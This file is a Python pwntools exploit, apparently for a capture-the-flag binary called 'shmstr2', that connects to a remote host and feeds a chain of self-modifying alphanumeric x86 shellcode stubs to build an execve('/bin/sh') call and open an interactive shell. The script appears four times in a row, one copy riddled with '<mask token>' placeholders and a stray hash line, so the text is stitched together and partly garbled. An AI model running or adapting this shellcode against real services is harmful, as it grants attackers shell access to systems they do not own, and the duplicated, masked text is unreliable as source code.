#!/usr/bin/env python3
from pwn import *

def add_sc(sc):
    p.sendlineafter(b'> ', b'1')
    p.sendafter(b'shellcode: ', sc)

def view_sc(idx):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'idx: ', str(idx))

def delete_sc(idx):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'idx: ', str(idx))

def run_sc(idx):
    p.sendlineafter(b'> ', b'4')
    p.sendlineafter(b'idx: ', str(idx))
    
# p = process('./shmstr2')
p = remote('172.17.0.1', 17183)
# p = remote('151.236.114.211', 17183)

# 0x2f -> N ^ a
# 0x62 -> R ^ 0
# 0x68 -> X ^ 0
# 0x69 -> Y ^ 0
# 0x6e -> W ^ 9
# 0x73 -> C ^ 0

# Overwrite limit
sc = asm('''
    xor DWORD PTR [ebx+0x70], esi
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax                       
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
add_sc(sc)
run_sc(0)

# mov eax, 0xb
sc = asm('''
    push 0x59595939
    pop edx
    xor dl, [ebx+0x37]
    xor DWORD PTR [eax + 0x41], edx
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

sc = asm('''
    push 0x59595276
    pop edx
    xor DWORD PTR [eax + 0x41], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

# pop ecx
# pop ecx
# push ecx
# pop edx
sc = asm('''
    push 0x5a515959
    pop edx
    xor DWORD PTR [eax + 0x46], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

# push   0x68732f
sc = asm('''
    push 0x58434e58
    pop edx
    xor DWORD PTR [eax + 0x4a], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

sc = asm('''
    push 0x30306130
    pop edx
    xor DWORD PTR [eax + 0x4a], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

# push   0x6e69622f
sc = asm('''
    push 0x59524e58
    pop edx
    xor DWORD PTR [eax + 0x4f], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

sc = asm('''
    push 0x30306130
    pop edx
    xor DWORD PTR [eax + 0x4f], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

sc = asm('''
    push 0x59595957
    pop edx
    xor DWORD PTR [eax + 0x53], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

sc = asm('''
    push 0x59595939
    pop edx
    xor DWORD PTR [eax + 0x53], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

# push esp
# pop ebx
sc = asm('''
    push 0x59593061
    pop edx
    xor DWORD PTR [eax + 0x54], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

sc = asm('''
    push 0x59596b35
    pop edx
    xor DWORD PTR [eax + 0x54], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

# int 0x80
sc = asm('''
    push 0x59595949
    pop edx
    xor dl, [ebx+0x37]
    xor DWORD PTR [eax + 0x56], edx
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

sc = asm('''
    push 0x59595973
    pop edx
    xor DWORD PTR [eax + 0x56], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

sc = asm('''
    push 0x59595977
    pop edx
    xor dl, [ebx+0x37]
    xor DWORD PTR [eax + 0x57], edx
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

# Jump to shell code
sc = asm('''
    xor al, 0x41
    pop ecx
    push eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

p.interactive()

d142ffc81ebb331d5724c8f3d8bfd4db16c130af
<mask token>


def add_sc(sc):
    p.sendlineafter(b'> ', b'1')
    p.sendafter(b'shellcode: ', sc)


def view_sc(idx):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'idx: ', str(idx))


<mask token>


def run_sc(idx):
    p.sendlineafter(b'> ', b'4')
    p.sendlineafter(b'idx: ', str(idx))


<mask token>

<mask token>


def add_sc(sc):
    p.sendlineafter(b'> ', b'1')
    p.sendafter(b'shellcode: ', sc)


def view_sc(idx):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'idx: ', str(idx))


def delete_sc(idx):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'idx: ', str(idx))


def run_sc(idx):
    p.sendlineafter(b'> ', b'4')
    p.sendlineafter(b'idx: ', str(idx))


<mask token>
add_sc(sc)
run_sc(0)
<mask token>
delete_sc(0)
add_sc(sc)
run_sc(0)
<mask token>
delete_sc(0)
add_sc(sc)
run_sc(0)
<mask token>
delete_sc(0)
add_sc(sc)
run_sc(0)
<mask token>
delete_sc(0)
add_sc(sc)
run_sc(0)
<mask token>
delete_sc(0)
add_sc(sc)
run_sc(0)
<mask token>
delete_sc(0)
add_sc(sc)
run_sc(0)
<mask token>
delete_sc(0)
add_sc(sc)
run_sc(0)
<mask token>
delete_sc(0)
add_sc(sc)
run_sc(0)
<mask token>
delete_sc(0)
add_sc(sc)
run_sc(0)
<mask token>
delete_sc(0)
add_sc(sc)
run_sc(0)
<mask token>
delete_sc(0)
add_sc(sc)
run_sc(0)
<mask token>
delete_sc(0)
add_sc(sc)
run_sc(0)
<mask token>
delete_sc(0)
add_sc(sc)
run_sc(0)
<mask token>
delete_sc(0)
add_sc(sc)
run_sc(0)
<mask token>
delete_sc(0)
add_sc(sc)
run_sc(0)
p.interactive()

<mask token>


def add_sc(sc):
    p.sendlineafter(b'> ', b'1')
    p.sendafter(b'shellcode: ', sc)


def view_sc(idx):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'idx: ', str(idx))


def delete_sc(idx):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'idx: ', str(idx))


def run_sc(idx):
    p.sendlineafter(b'> ', b'4')
    p.sendlineafter(b'idx: ', str(idx))


p = remote('172.17.0.1', 17183)
sc = asm(
    """
    xor DWORD PTR [ebx+0x70], esi
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax                       
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x59595939
    pop edx
    xor dl, [ebx+0x37]
    xor DWORD PTR [eax + 0x41], edx
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x59595276
    pop edx
    xor DWORD PTR [eax + 0x41], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x5a515959
    pop edx
    xor DWORD PTR [eax + 0x46], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x58434e58
    pop edx
    xor DWORD PTR [eax + 0x4a], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x30306130
    pop edx
    xor DWORD PTR [eax + 0x4a], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x59524e58
    pop edx
    xor DWORD PTR [eax + 0x4f], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x30306130
    pop edx
    xor DWORD PTR [eax + 0x4f], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x59595957
    pop edx
    xor DWORD PTR [eax + 0x53], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x59595939
    pop edx
    xor DWORD PTR [eax + 0x53], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x59593061
    pop edx
    xor DWORD PTR [eax + 0x54], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x59596b35
    pop edx
    xor DWORD PTR [eax + 0x54], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x59595949
    pop edx
    xor dl, [ebx+0x37]
    xor DWORD PTR [eax + 0x56], edx
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x59595973
    pop edx
    xor DWORD PTR [eax + 0x56], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x59595977
    pop edx
    xor dl, [ebx+0x37]
    xor DWORD PTR [eax + 0x57], edx
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    xor al, 0x41
    pop ecx
    push eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
p.interactive()

from pwn import *


def add_sc(sc):
    p.sendlineafter(b'> ', b'1')
    p.sendafter(b'shellcode: ', sc)


def view_sc(idx):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'idx: ', str(idx))


def delete_sc(idx):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'idx: ', str(idx))


def run_sc(idx):
    p.sendlineafter(b'> ', b'4')
    p.sendlineafter(b'idx: ', str(idx))


p = remote('172.17.0.1', 17183)
sc = asm(
    """
    xor DWORD PTR [ebx+0x70], esi
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax                       
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x59595939
    pop edx
    xor dl, [ebx+0x37]
    xor DWORD PTR [eax + 0x41], edx
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x59595276
    pop edx
    xor DWORD PTR [eax + 0x41], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x5a515959
    pop edx
    xor DWORD PTR [eax + 0x46], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x58434e58
    pop edx
    xor DWORD PTR [eax + 0x4a], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x30306130
    pop edx
    xor DWORD PTR [eax + 0x4a], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x59524e58
    pop edx
    xor DWORD PTR [eax + 0x4f], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x30306130
    pop edx
    xor DWORD PTR [eax + 0x4f], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x59595957
    pop edx
    xor DWORD PTR [eax + 0x53], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x59595939
    pop edx
    xor DWORD PTR [eax + 0x53], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x59593061
    pop edx
    xor DWORD PTR [eax + 0x54], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x59596b35
    pop edx
    xor DWORD PTR [eax + 0x54], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x59595949
    pop edx
    xor dl, [ebx+0x37]
    xor DWORD PTR [eax + 0x56], edx
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x59595973
    pop edx
    xor DWORD PTR [eax + 0x56], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    push 0x59595977
    pop edx
    xor dl, [ebx+0x37]
    xor DWORD PTR [eax + 0x57], edx
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
sc = asm(
    """
    xor al, 0x41
    pop ecx
    push eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
"""
    )
delete_sc(0)
add_sc(sc)
run_sc(0)
p.interactive()

#!/usr/bin/env python3
from pwn import *

def add_sc(sc):
    p.sendlineafter(b'> ', b'1')
    p.sendafter(b'shellcode: ', sc)

def view_sc(idx):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'idx: ', str(idx))

def delete_sc(idx):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'idx: ', str(idx))

def run_sc(idx):
    p.sendlineafter(b'> ', b'4')
    p.sendlineafter(b'idx: ', str(idx))
    
# p = process('./shmstr2')
p = remote('172.17.0.1', 17183)
# p = remote('151.236.114.211', 17183)

# 0x2f -> N ^ a
# 0x62 -> R ^ 0
# 0x68 -> X ^ 0
# 0x69 -> Y ^ 0
# 0x6e -> W ^ 9
# 0x73 -> C ^ 0

# Overwrite limit
sc = asm('''
    xor DWORD PTR [ebx+0x70], esi
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax                       
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
add_sc(sc)
run_sc(0)

# mov eax, 0xb
sc = asm('''
    push 0x59595939
    pop edx
    xor dl, [ebx+0x37]
    xor DWORD PTR [eax + 0x41], edx
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

sc = asm('''
    push 0x59595276
    pop edx
    xor DWORD PTR [eax + 0x41], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

# pop ecx
# pop ecx
# push ecx
# pop edx
sc = asm('''
    push 0x5a515959
    pop edx
    xor DWORD PTR [eax + 0x46], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

# push   0x68732f
sc = asm('''
    push 0x58434e58
    pop edx
    xor DWORD PTR [eax + 0x4a], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

sc = asm('''
    push 0x30306130
    pop edx
    xor DWORD PTR [eax + 0x4a], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

# push   0x6e69622f
sc = asm('''
    push 0x59524e58
    pop edx
    xor DWORD PTR [eax + 0x4f], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

sc = asm('''
    push 0x30306130
    pop edx
    xor DWORD PTR [eax + 0x4f], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

sc = asm('''
    push 0x59595957
    pop edx
    xor DWORD PTR [eax + 0x53], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

sc = asm('''
    push 0x59595939
    pop edx
    xor DWORD PTR [eax + 0x53], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

# push esp
# pop ebx
sc = asm('''
    push 0x59593061
    pop edx
    xor DWORD PTR [eax + 0x54], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

sc = asm('''
    push 0x59596b35
    pop edx
    xor DWORD PTR [eax + 0x54], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

# int 0x80
sc = asm('''
    push 0x59595949
    pop edx
    xor dl, [ebx+0x37]
    xor DWORD PTR [eax + 0x56], edx
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

sc = asm('''
    push 0x59595973
    pop edx
    xor DWORD PTR [eax + 0x56], edx
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

sc = asm('''
    push 0x59595977
    pop edx
    xor dl, [ebx+0x37]
    xor DWORD PTR [eax + 0x57], edx
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

# Jump to shell code
sc = asm('''
    xor al, 0x41
    pop ecx
    push eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
    dec eax
''')
delete_sc(0)
add_sc(sc)
run_sc(0)

p.interactive()
